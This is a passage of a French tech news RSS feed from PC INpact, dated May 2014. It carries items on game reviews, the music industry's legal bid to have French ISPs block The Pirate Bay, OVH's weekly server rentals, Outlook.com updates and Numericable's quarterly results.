+&lt;/ul&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142127.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-142127.jpeg" alt="Kirby triple Deluxe" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Borderlands 2 : la mayonnaise ne prend pas sur PS Vita&lt;/h3&gt;
+&lt;p&gt;Chez IGN, c'est le portage de&lt;em&gt; Borderlands 2&lt;/em&gt; sur PlayStation Vita qui est au centre de toutes les attentions. Pr&amp;egrave;s de deux ans apr&amp;egrave;s le PC et les consoles de salon, la machine portable de Sony a enfin le droit au FPS de Gearbox. Comme pour s'excuser de l'attente, le studio a int&amp;eacute;gr&amp;eacute; l'ensemble des DLC majeurs du jeu, y compris les deux classes suppl&amp;eacute;mentaires, sans surcout.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si l'id&amp;eacute;e est bonne, la sauce ne prend pas du tout, la faute &amp;agrave; des saccades r&amp;eacute;guli&amp;egrave;res en jeu malgr&amp;eacute; une baisse notable de la qualit&amp;eacute; graphique, &amp;agrave; des contr&amp;ocirc;les pas vraiment adapt&amp;eacute;s et &amp;agrave; un pav&amp;eacute; tactile arri&amp;egrave;re qui ne trouve pas son utilit&amp;eacute;. Que reste-t-il &amp;agrave; sauver du naufrage ? C'est &amp;agrave; voir tout de suite :&amp;nbsp;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://uk.ign.com/articles/2014/05/12/borderlands-2-vita-review" target="_blank"&gt;Lire l'article.&lt;/a&gt;&amp;nbsp;(en anglais).&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/123642.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-123642.png" alt="Borderlands 2 Moxxi" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;Child of Light : une belle surprise sign&amp;eacute;e Ubisoft&lt;/h3&gt;
+&lt;p&gt;Enfin, chez Jeuxvideo.fr, nous retrouvons un test plut&amp;ocirc;t complet de &lt;em&gt;Child of Light&lt;/em&gt;, un jeu de r&amp;ocirc;le r&amp;eacute;alis&amp;eacute; par Ubisoft Montr&amp;eacute;al. Alors que ce studio se consacre habituellement &amp;agrave; des blockbusters tels qu'Assassin's Creed IV ou FarCry 3, une petite &amp;eacute;quipe s'est attel&amp;eacute;e &amp;agrave; ce projet.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La direction artistique du jeu t&amp;eacute;moigne d'une v&amp;eacute;ritable prise de risque de la part de l'&amp;eacute;diteur avec notamment des dialogues r&amp;eacute;dig&amp;eacute;s en vers, et des graphismes tr&amp;egrave;s typ&amp;eacute;s, qui sur certains points ne sont pas sans rappeler le style d'un Rayman. Faut-il craquer pour ce jeu disponible sur la plupart des plateformes, dont la &lt;span data-affiliable="true" data-affkey="Wii U"&gt;Wii U&lt;/span&gt; ? C'est &amp;agrave; d&amp;eacute;couvrir sans plus tarder :&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://www.jeuxvideo.fr/jeux/child-of-light/preview-test-child-of-light.html" target="_blank"&gt;Lire l'article.&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146775.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146775.png" alt="Child of Light" /&gt;&lt;/a&gt;&lt;/p&gt;</description><pubDate>Thu, 15 May 2014 00:01:24 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87545.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87548-france-majors-disque-reclament-blocage-the-pirate-bay.htm</guid><link>http://www.nextinpact.com/news/87548-france-majors-disque-reclament-blocage-the-pirate-bay.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>marc@nextinpact.com</author><category>Hadopi</category><title>France : les majors du disque réclament le blocage de The Pirate Bay</title><description>&lt;p class="actu_chapeau"&gt;&lt;span style="color: red;"&gt;Exclusif&lt;/span&gt; Selon nos informations, la Soci&amp;eacute;t&amp;eacute; civile des producteurs phonographiques (Scpp) a lanc&amp;eacute; en f&amp;eacute;vrier une assignation contre les principaux FAI fran&amp;ccedil;ais. L&amp;rsquo;objectif&amp;nbsp;? Faire bloquer The Pirate Bay et plus d&amp;rsquo;une centaine de ses miroirs.&lt;/p&gt;&lt;p&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146774.jpeg" rel="group_fancy"&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://static.pcinpact.com/images/bd/news/medium-146774.jpeg" alt="" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La soci&amp;eacute;t&amp;eacute; d&amp;rsquo;ayant droit qui repr&amp;eacute;sente les int&amp;eacute;r&amp;ecirc;ts des principales majors de la musique obtiendra-t-elle le blocage en France de The Pirate Bay&amp;nbsp;? Dans l&amp;rsquo;assignation d&amp;eacute;livr&amp;eacute;e fin f&amp;eacute;vrier, c&amp;rsquo;est ce qu&amp;rsquo;ils r&amp;eacute;clament. Ils veulent &amp;eacute;galement que la justice ordonne le blocage de plus d&amp;rsquo;une centaine de miroirs du c&amp;eacute;l&amp;egrave;bre site de liens Torrents. Ils estiment en outre que c&amp;rsquo;est aux op&amp;eacute;rateurs de supporter le co&amp;ucirc;t de ces blocages.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La proc&amp;eacute;dure a &amp;eacute;t&amp;eacute; initi&amp;eacute;e &amp;agrave; l&amp;rsquo;aide d&amp;rsquo;une disposition int&amp;eacute;gr&amp;eacute;e dans la loi &lt;span data-affiliable="true" data-affkey="Hadopi"&gt;Hadopi&lt;/span&gt;. L&amp;rsquo;article 336-2 du code de la propri&amp;eacute;t&amp;eacute; intellectuelle permet en effet aux ayants droit de r&amp;eacute;clamer du juge toutes mesures &amp;agrave; l&amp;rsquo;&amp;eacute;gard de toutes personnes pour pr&amp;eacute;venir ou faire cesser une atteinte &amp;agrave; leurs int&amp;eacute;r&amp;ecirc;ts.&lt;/p&gt;
+&lt;h3&gt;Impliquer l'interm&amp;eacute;diaire, m&amp;ecirc;me s'il n'est pas contrefacteur&lt;/h3&gt;
+&lt;p&gt;Au minist&amp;egrave;re de la Culture, les membres du Conseil sup&amp;eacute;rieur de la propri&amp;eacute;t&amp;eacute; litt&amp;eacute;raire et artistique avaient d&amp;eacute;j&amp;agrave; salu&amp;eacute; &lt;a href="http://www.culturecommunication.gouv.fr/content/download/80710/610927/file/CR%20CSPLA%20pl%C3%A9ni%C3%A8re%209%20juillet%202013.pdf" target="_blank"&gt;l&amp;rsquo;ambivalence de cette disposition&lt;/a&gt;. Dans un arr&amp;ecirc;t rendu le 12 juillet 2012 (affaire SNEP c/ Google, &lt;a href="http://www.nextinpact.com/news/72454-retour-critique-sur-filtrage-googsuggest-avec-articloi-hadopi.htm" target="_blank"&gt;notre actualit&amp;eacute;&lt;/a&gt;)&amp;nbsp; &amp;laquo;&lt;em&gt;&amp;nbsp;la Cour de cassation a d&amp;eacute;montr&amp;eacute; clairement et pour la premi&amp;egrave;re fois l&amp;rsquo;autonomie de l&amp;rsquo;article L. 336-2 du code de la propri&amp;eacute;t&amp;eacute; intellectuelle comme outil permettant d&amp;rsquo;enjoindre &amp;agrave; un prestataire technique en capacit&amp;eacute; de le faire de faire cesser une infraction, quand bien m&amp;ecirc;me il n&amp;rsquo;est pas impliqu&amp;eacute; directement ou qualifi&amp;eacute; de contrefacteur&amp;nbsp;&lt;/em&gt;&amp;raquo;. Cette disposition permet donc d&amp;rsquo;attaquer un interm&amp;eacute;diaire pour lui demander de d&amp;eacute;r&amp;eacute;f&amp;eacute;rencer ou pourquoi pas bloquer la diffusion d&amp;rsquo;un contenu, alors m&amp;ecirc;me qu&amp;rsquo;il n&amp;rsquo;est pas impliqu&amp;eacute; dans ces contenus illicites.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le document a &amp;eacute;t&amp;eacute; adress&amp;eacute; &amp;agrave; Bouygues, Free, &lt;span data-affiliable="true" data-affkey="Orange"&gt;Orange&lt;/span&gt; et &lt;span data-affiliable="true" data-affkey="SFR"&gt;SFR&lt;/span&gt;, mais non Num&amp;eacute;ricable, curieusement. Par ailleurs, on ne sait pas pour l'instant si une proc&amp;eacute;dure similaire a &amp;eacute;t&amp;eacute; lanc&amp;eacute;e contre les moteurs de recherche. Ni les documents ni nos sources n'en font &amp;eacute;tat.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Une autre affaire a justement mis en &amp;oelig;uvre cette arme&amp;nbsp;: dans un dossier &lt;a href="http://www.nextinpact.com/news/84642-la-justice-ordonne-blocage-galaxie-allostreaming.htm" target="_blank"&gt;Allostreaming&lt;/a&gt;, les ayants droit sont parvenus &amp;agrave; faire bloquer 16 sites de streaming dans les mains des FAI sur la base de cette disposition.&amp;nbsp;Les professionnels de l&amp;rsquo;audiovisuel avaient victorieusement produit plusieurs constats pour d&amp;eacute;montrer l&amp;rsquo;ampleur des diffusions illicites.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Contact&amp;eacute;e, la SCPP n'a pas retourn&amp;eacute; nos appels.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 18:50:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87548.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87546-ovh-propose-location-serveurs-dedies-a-semaine-sans-engagement.htm</guid><link>http://www.nextinpact.com/news/87546-ovh-propose-location-serveurs-dedies-a-semaine-sans-engagement.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>sebastien@nextinpact.com</author><category>Web</category><title>OVH propose la location de serveurs dédiés à la semaine, sans engagement</title><description>&lt;p class="actu_chapeau"&gt;OVH&amp;nbsp;vient de mettre en ligne de nouvelles offres pour certaines gammes de serveurs d&amp;eacute;di&amp;eacute;s : une location &amp;agrave; la semaine. Pour l'h&amp;eacute;bergeur, cela&amp;nbsp;&amp;laquo;&amp;nbsp;&lt;em&gt;permet de tester et de valider le dimensionnement des serveurs afin de vous assurer qu&amp;rsquo;ils r&amp;eacute;pondent bien &amp;agrave; votre cahier des charges&lt;/em&gt;&amp;nbsp;&amp;raquo;.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146770.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146770.png" alt="OVH semaine" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il y a quelque temps, OVH revoyait enti&amp;egrave;rement ses offres, un changement d'envergure qui s'est fait suite &amp;agrave; un &amp;laquo; turn over &amp;raquo; devenu trop important et co&amp;ucirc;teux &amp;agrave; g&amp;eacute;rer. Depuis,&amp;nbsp;la location de serveur d&amp;eacute;di&amp;eacute; est s&amp;eacute;par&amp;eacute;e en plusieurs branches avec Kimsufi pour l'entr&amp;eacute;e de gamme, SoYouStart (SYS) pour les administrateurs syst&amp;egrave;mes et autres bidouilleurs, ainsi qu'OVH.com pour les grosses configurations (Entreprise, Hosting et Infrastructure).&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C'est sur ce dernier point que l'h&amp;eacute;bergeur vient d'annoncer une nouveaut&amp;eacute; plut&amp;ocirc;t inattendue :&amp;nbsp;la possibilit&amp;eacute; de louer un serveur pour une semaine. D'apr&amp;egrave;s la soci&amp;eacute;t&amp;eacute; roubaisienne, cela permet de prendre en compte&amp;nbsp;diff&amp;eacute;rentes probl&amp;eacute;matiques : tester la compatibilit&amp;eacute; de la configuration avec vos applications, absorber un pic de trafic programm&amp;eacute;, r&amp;eacute;aliser des tests de mont&amp;eacute;s en charge ainsi que l'infrastructure d'OVH. Reste &amp;agrave; voir s'il n'y aura pas de &amp;laquo; turn over &amp;raquo; trop important cette fois-ci...&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;L'h&amp;eacute;bergeur ajoute que&amp;nbsp;&amp;laquo; &lt;em&gt;durant cette p&amp;eacute;riode de 1 semaine, vous pouvez&amp;nbsp;utiliser sans aucune restriction nos serveurs d&amp;eacute;di&amp;eacute;s&amp;nbsp;et exp&amp;eacute;rimenter les diff&amp;eacute;rents services disponibles avec chaque machine (en option :&amp;nbsp;&lt;a href="http://www.ovh.com/fr/solutions/ip-load-balancing/"&gt;IP Load balancing&lt;/a&gt;,&amp;nbsp;&lt;a href="http://www.ovh.com/fr/serveurs_dedies/ip_failover.xml"&gt;IP Fail over&lt;/a&gt;,&lt;a href="http://www.ovh.com/fr/nas/"&gt;NAS&lt;/a&gt;, etc.)&lt;/em&gt; &amp;raquo;. De plus,&amp;nbsp;&amp;laquo; &lt;em&gt;avec les serveurs pour une semaine, vous profitez gratuitement des licences domaines illimit&amp;eacute;es des &amp;eacute;diteurs de r&amp;eacute;f&amp;eacute;rence du march&amp;eacute; ainsi que de certaines r&amp;eacute;f&amp;eacute;rences Windows&lt;/em&gt; &amp;raquo;. En voici la liste :&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146769.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146769.png" alt="OVH semaine" width="500" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C&amp;ocirc;t&amp;eacute; tarif, il faut compter un peu plus du tiers du prix d'une location au&amp;nbsp;mois. Contrairement &amp;agrave; la formule classique, il n'y a pas d'engagement ou de frais suppl&amp;eacute;mentaires &amp;agrave; d&amp;eacute;bourser.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En effet, si vous souhaitez louer un serveur SP-64 chez OVH, il faudra soit vous engager sur 12 mois, soit payer des frais&amp;nbsp;d'installation&amp;nbsp;pour du sans engagement : 99,99 &amp;euro; HT &amp;agrave; la commande ou bien 20 &amp;euro; HT de plus pendant 6 mois, autant dire que la soci&amp;eacute;t&amp;eacute; pousse ses clients &amp;agrave; s'engager. N&amp;eacute;anmoins, la location sur une semaine permet de tester en condition &amp;agrave; moindres frais et d'adapter si besoin.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146773.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146773.png" alt="OVH" height="129" /&gt;&lt;/a&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146771.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146771.png" alt="OVH semaine" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour louer un serveur d&amp;eacute;di&amp;eacute;, que ce soit &amp;agrave; la semaine ou au mois, c'est &lt;a href="http://www.ovh.com/fr/serveurs_dedies/" target="_blank"&gt;par ici que &amp;ccedil;a se passe&lt;/a&gt;. Notez que &lt;a href="https://www.ovh.com/fr/serveurs_dedies/faq.xml#dedies-semaine" target="_blank"&gt;la FAQ &lt;/a&gt;pr&amp;eacute;cise qu'il est possible de souscrire &amp;agrave; autant d'offres &amp;agrave; la semaine qu'on le souhaite et qu'il est &amp;eacute;videmment possible de migrer sur une offre classique &amp;agrave; l'issue des sept jours.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 18:40:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87546.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87544-outlook-com-veut-seduire-par-ses-regles-avancees-et-sa-simplicite.htm</guid><link>http://www.nextinpact.com/news/87544-outlook-com-veut-seduire-par-ses-regles-avancees-et-sa-simplicite.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>vincent@nextinpact.com</author><category>Services</category><title>Outlook.com veut séduire par ses règles avancées et sa simplicité</title><description>&lt;p class="actu_chapeau"&gt;Dans sa lutte &amp;eacute;ternelle contre Gmail, Microsoft d&amp;eacute;ploie actuellement des mises &amp;agrave; jour fonctionnelles pour Outlook.com. Finesse des r&amp;egrave;gles, annulation des derni&amp;egrave;res actions ou encore r&amp;eacute;ponse int&amp;eacute;gr&amp;eacute;e, la firme montre ses charmes pour tenter d&amp;rsquo;attirer de nouveaux utilisateurs.&lt;/p&gt;&lt;p&gt;L&amp;rsquo;un des plus gros ajouts concerne les r&amp;egrave;gles. Ces derni&amp;egrave;res ne sont pas nouvelles et permettent, pour rappel, de d&amp;eacute;finir des actions &amp;agrave; entreprendre automatiquement lorsqu&amp;rsquo;une condition est remplie. Par exemple, la r&amp;eacute;ception d&amp;rsquo;un courrier provenant d&amp;rsquo;un exp&amp;eacute;diteur en particulier provoquera le d&amp;eacute;placement de l&amp;rsquo;email dans un dossier, ou un marquage comme &amp;laquo;&amp;nbsp;important&amp;nbsp;&amp;raquo;. Microsoft ajoute cependant des r&amp;egrave;gles dites &amp;laquo;&amp;nbsp;avanc&amp;eacute;es&amp;nbsp;&amp;raquo;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146763.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146763.png" alt="outlook.com" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Comme le montre la capture, il devient possible de d&amp;eacute;finir plusieurs conditions qui doivent &amp;ecirc;tre toutes remplies pour que les actions se d&amp;eacute;clenchent. L&amp;rsquo;exemple est b&amp;acirc;ti sur la n&amp;eacute;cessit&amp;eacute; suivante&amp;nbsp;: &amp;laquo;&amp;nbsp;Si un email reste non-lu pendant plus de trois jours et qu&amp;rsquo;il provient d&amp;rsquo;un de mes contacts, il faut le marquer comme important&amp;nbsp;&amp;raquo;. L&amp;rsquo;utilisateur peut donc d&amp;eacute;finir un ensemble de r&amp;egrave;gles comprenant plusieurs conditions et plusieurs actions. Ceux qui brassent une importante quantit&amp;eacute; de courrier devraient donc y trouver leur compte.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La deuxi&amp;egrave;me fonctionnalit&amp;eacute; suivante peut para&amp;icirc;tre basique,&amp;nbsp;elle n&amp;rsquo;en est pas moins absente actuellement, y compris chez les concurrents&amp;nbsp;: une fonction annulation.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146766.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146766.png" alt="outlook.com" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Cette fonctionnalit&amp;eacute; s&amp;rsquo;adresse &amp;agrave; tous ceux qui effectuent par accident une action telle que la suppression d&amp;rsquo;un email, son d&amp;eacute;placement dans un dossier, l&amp;rsquo;ajout d&amp;rsquo;une cat&amp;eacute;gorie, d&amp;rsquo;un drapeau, l&amp;rsquo;envoi dans les courriers ind&amp;eacute;sirables et ainsi de suite. Plut&amp;ocirc;t que de se rendre dans le dossier en question ou de chercher comment enlever la marque, une fl&amp;egrave;che retour est propos&amp;eacute;e juste &amp;agrave; c&amp;ocirc;t&amp;eacute; du bouton d&amp;eacute;di&amp;eacute; aux discussions. Cliquer dessus annulera tout simplement la derni&amp;egrave;re action entreprise. Vous &amp;eacute;tiez &amp;eacute;m&amp;eacute;ch&amp;eacute; la nuit derni&amp;egrave;re et avez envoy&amp;eacute; un email que vous regrettez&amp;nbsp;? Dommage, la fonction n&amp;rsquo;accomplit pas non plus de miracle.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Microsoft ajoute ensuite une nouveaut&amp;eacute; apparue avec Outlook 2013, d&amp;eacute;sormais r&amp;eacute;percut&amp;eacute;e sur le webmail&amp;nbsp;: les r&amp;eacute;ponses &amp;laquo;&amp;nbsp;in-line&amp;nbsp;&amp;raquo;. Il s&amp;rsquo;agit d&amp;rsquo;&amp;eacute;crire la r&amp;eacute;ponse &amp;agrave; un courrier directement au-dessus de la citation, sans ouvrir une nouvelle vue ou une nouvelle page. Il ne s&amp;rsquo;agit &amp;eacute;videmment pas d&amp;rsquo;une r&amp;eacute;volution, mais ce mode a l&amp;rsquo;avantage de faire gagner un peu de temps et de fournir une exp&amp;eacute;rience plus &amp;laquo;&amp;nbsp;int&amp;eacute;gr&amp;eacute;e&amp;nbsp;&amp;raquo;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146765.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146765.png" alt="outlook.com" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146764.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146764.png" alt="outlook.com" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Enfin, la gestion des conversations depuis Outlook.com a &amp;eacute;t&amp;eacute; tr&amp;egrave;s nettement am&amp;eacute;lior&amp;eacute;e. D&amp;rsquo;une part, une liste des contacts r&amp;eacute;cents est affich&amp;eacute;e en bas &amp;agrave; gauche pour fournir un acc&amp;egrave;s simple aux discussions. D&amp;rsquo;autre part, il devient possible de changer de support de conversation pendant cette derni&amp;egrave;re. Si vous commencez une conversation sur Skype et souhaitez la continuer sur Facebook, une liste d&amp;eacute;roulante permet cette bascule. Enfin, la liste globale des contacts permet un tri en fonction de leur provenance. Il est par exemple possible de n&amp;rsquo;afficher que ceux provenant de Skype.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ces changements sont bienvenus, mais ils ne sont en fait pas disponibles pour tous. Le d&amp;eacute;ploiement commence tout juste et &lt;a href="http://blogs.office.com/2014/05/13/outlook-com-introduces-the-most-sophisticated-rules-in-webmail/" target="_blank"&gt;Microsoft pr&amp;eacute;vient&lt;/a&gt;&amp;nbsp;qu&amp;rsquo;il s&amp;rsquo;&amp;eacute;talera sur plusieurs semaines.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 18:30:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87544.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87516-numericable-voit-son-benefice-exploser-malgre-chiffre-daffaires-stable.htm</guid><link>http://www.nextinpact.com/news/87516-numericable-voit-son-benefice-exploser-malgre-chiffre-daffaires-stable.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>nil@nextinpact.com</author><category>Finances</category><title>Numericable voit son bénéfice exploser malgré un chiffre d'affaires stable</title><description>&lt;p class="actu_chapeau"&gt;Apr&amp;egrave;s &lt;a href="http://www.nextinpact.com/news/87295-orange-continue-voir-ses-resultats-regresser-mais-voit-ameliorations.htm" target="_blank"&gt;Orange&lt;/a&gt;&amp;nbsp;et en attendant Bouygues, SFR et Free demain, Numericable vient de &lt;a href="http://www.numericable.com/images/investors/financial/numericable_group/PR_Q1_2014_Results.pdf" target="_blank"&gt;d&amp;eacute;voiler son bilan&lt;/a&gt;&amp;nbsp;du premier trimestre 2014. Et comme toujours, le c&amp;acirc;blo-op&amp;eacute;rateur affiche des r&amp;eacute;sultats d'une grande stabilit&amp;eacute;, avec un chiffre d'affaires en hausse de 1 %. Bonne nouvelle, le revenu moyen par client continue de grimper et son b&amp;eacute;n&amp;eacute;fice&amp;nbsp;affiche une tr&amp;egrave;s forte hausse, performances que r&amp;ecirc;veraient de r&amp;eacute;aliser ses concurrents.&amp;nbsp;&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/146768.png" alt="Numericable Q1 2014" /&gt;&lt;/p&gt;
+&lt;h3&gt;Une faible croissance du nombre&amp;nbsp;de clients (hors marques blanches)&lt;/h3&gt;
+&lt;p&gt;Depuis de nombreuses ann&amp;eacute;es, Numericable a bien du&amp;nbsp;mal &amp;agrave; augmenter d'une fa&amp;ccedil;on importante son nombre de clients ainsi que ses r&amp;eacute;sultats financiers. La meilleure solution trouv&amp;eacute;e pour le moment a &amp;eacute;t&amp;eacute; de passer par des partenaires en marques blanches. &lt;span data-affiliable="true" data-affkey="Bouygues Telecom"&gt;Bouygues Telecom&lt;/span&gt;, qui exploite son r&amp;eacute;seau FTTLA, arrive ainsi &amp;agrave; attirer&amp;nbsp;un nombre non n&amp;eacute;gligeable de clients.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;a href="http://www.numericable.com/images/investors/financial/numericable_group/PR_Q1_2014_Results.pdf" target="_blank"&gt;Au 31 mars 2014&lt;/a&gt;,&amp;nbsp;la filiale d'Altice compte ainsi sur son r&amp;eacute;seau 1,717 million d'abonn&amp;eacute;s, dont 291 000 pour &lt;span data-affiliable="true" data-affkey="la t&amp;eacute;l&amp;eacute;vision"&gt;la t&amp;eacute;l&amp;eacute;vision&lt;/span&gt; (-51 000 en un an) et 1,049 million en double ou triple-play (+56 000). Hors marque blanche, son nombre de clients n'a ainsi augment&amp;eacute; que de 5 000 abonn&amp;eacute;s en un an. Une croissance&amp;nbsp;d'une grande faiblesse heureusement compens&amp;eacute;e par le succ&amp;egrave;s de Bouygues, qui a r&amp;eacute;ussi &amp;agrave; cumuler 377 000 clients sur ce r&amp;eacute;seau, en hausse de 64 000 abonn&amp;eacute;s en un an.&lt;/p&gt;
+&lt;p&gt;&lt;br /&gt;Du c&amp;ocirc;t&amp;eacute; de LaBox Fibre, 336 000 abonn&amp;eacute;s l'exploitent au 31 mars 2014. C'est 36 000 de plus en trois mois et presque deux fois plus que l'an pass&amp;eacute; puisque 177 000 clients l'utilisaient douze mois plus t&amp;ocirc;t. S'il s'agit d'une assez bonne performance pour sa Box, son rythme de croissance commence &amp;agrave; diminuer puisqu'il &amp;eacute;tait d'environ 45 000 clients suppl&amp;eacute;mentaires par trimestre auparavant.&lt;/p&gt;
+&lt;h3&gt;Une progression du chiffre d'affaires toujours limit&amp;eacute;e&lt;/h3&gt;
+&lt;p&gt;Financi&amp;egrave;rement, son chiffre d'affaires a donc atteint 327,6 millions d'euros, en progression de 1 %. Cela peut para&amp;icirc;tre faible, mais c'est tout de m&amp;ecirc;me mieux que les trimestres pr&amp;eacute;c&amp;eacute;dants comme s'en vante l'op&amp;eacute;rateur :&amp;nbsp;&amp;laquo;&lt;em&gt; La croissance du chiffre d'affaires est d'autant plus satisfaisante qu'elle est en acc&amp;eacute;l&amp;eacute;ration s&amp;eacute;quentielle par rapport &amp;agrave; la croissance g&amp;eacute;n&amp;eacute;r&amp;eacute;e par le Groupe au 3&amp;egrave;me trimestre 2013 (+0,8 %) ainsi qu'au 4&amp;egrave;me trimestre 2013 (+0,6 %).&lt;/em&gt; &amp;raquo; Une fa&amp;ccedil;on de relativiser une croissance qui reste quoiqu'on en dise tr&amp;egrave;s limit&amp;eacute;e.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Dans les d&amp;eacute;tails, sa branche destin&amp;eacute;e au grand public reste la plus importante avec un chiffre d'affaires de 219,2 millions d'euros, en progression de 1,8 %. Le reste est r&amp;eacute;alis&amp;eacute; par sa branche pour les professionnels (B2B) avec 78,7 millions d'euros, en croissance de 3,4 %. Enfin, son segment de gros, dit &amp;laquo; Wholesale &amp;raquo;, affiche une chute importante de 9,7 % avec un r&amp;eacute;sultat de 29,7 millions d'euros. L'op&amp;eacute;rateur explique ce recul important par&amp;nbsp;&amp;laquo; &lt;em&gt;une baisse d'activit&amp;eacute; dans la voix et le DSL, mais la marge op&amp;eacute;rationnelle de la division est en croissance et le mix du chiffre d'affaires continue de s'am&amp;eacute;liorer gr&amp;acirc;ce &amp;agrave; une bonne dynamique sur les activit&amp;eacute;s d&amp;eacute;velopp&amp;eacute;es sur le r&amp;eacute;seau propre du Groupe, notamment la vente en gros de data et de liens 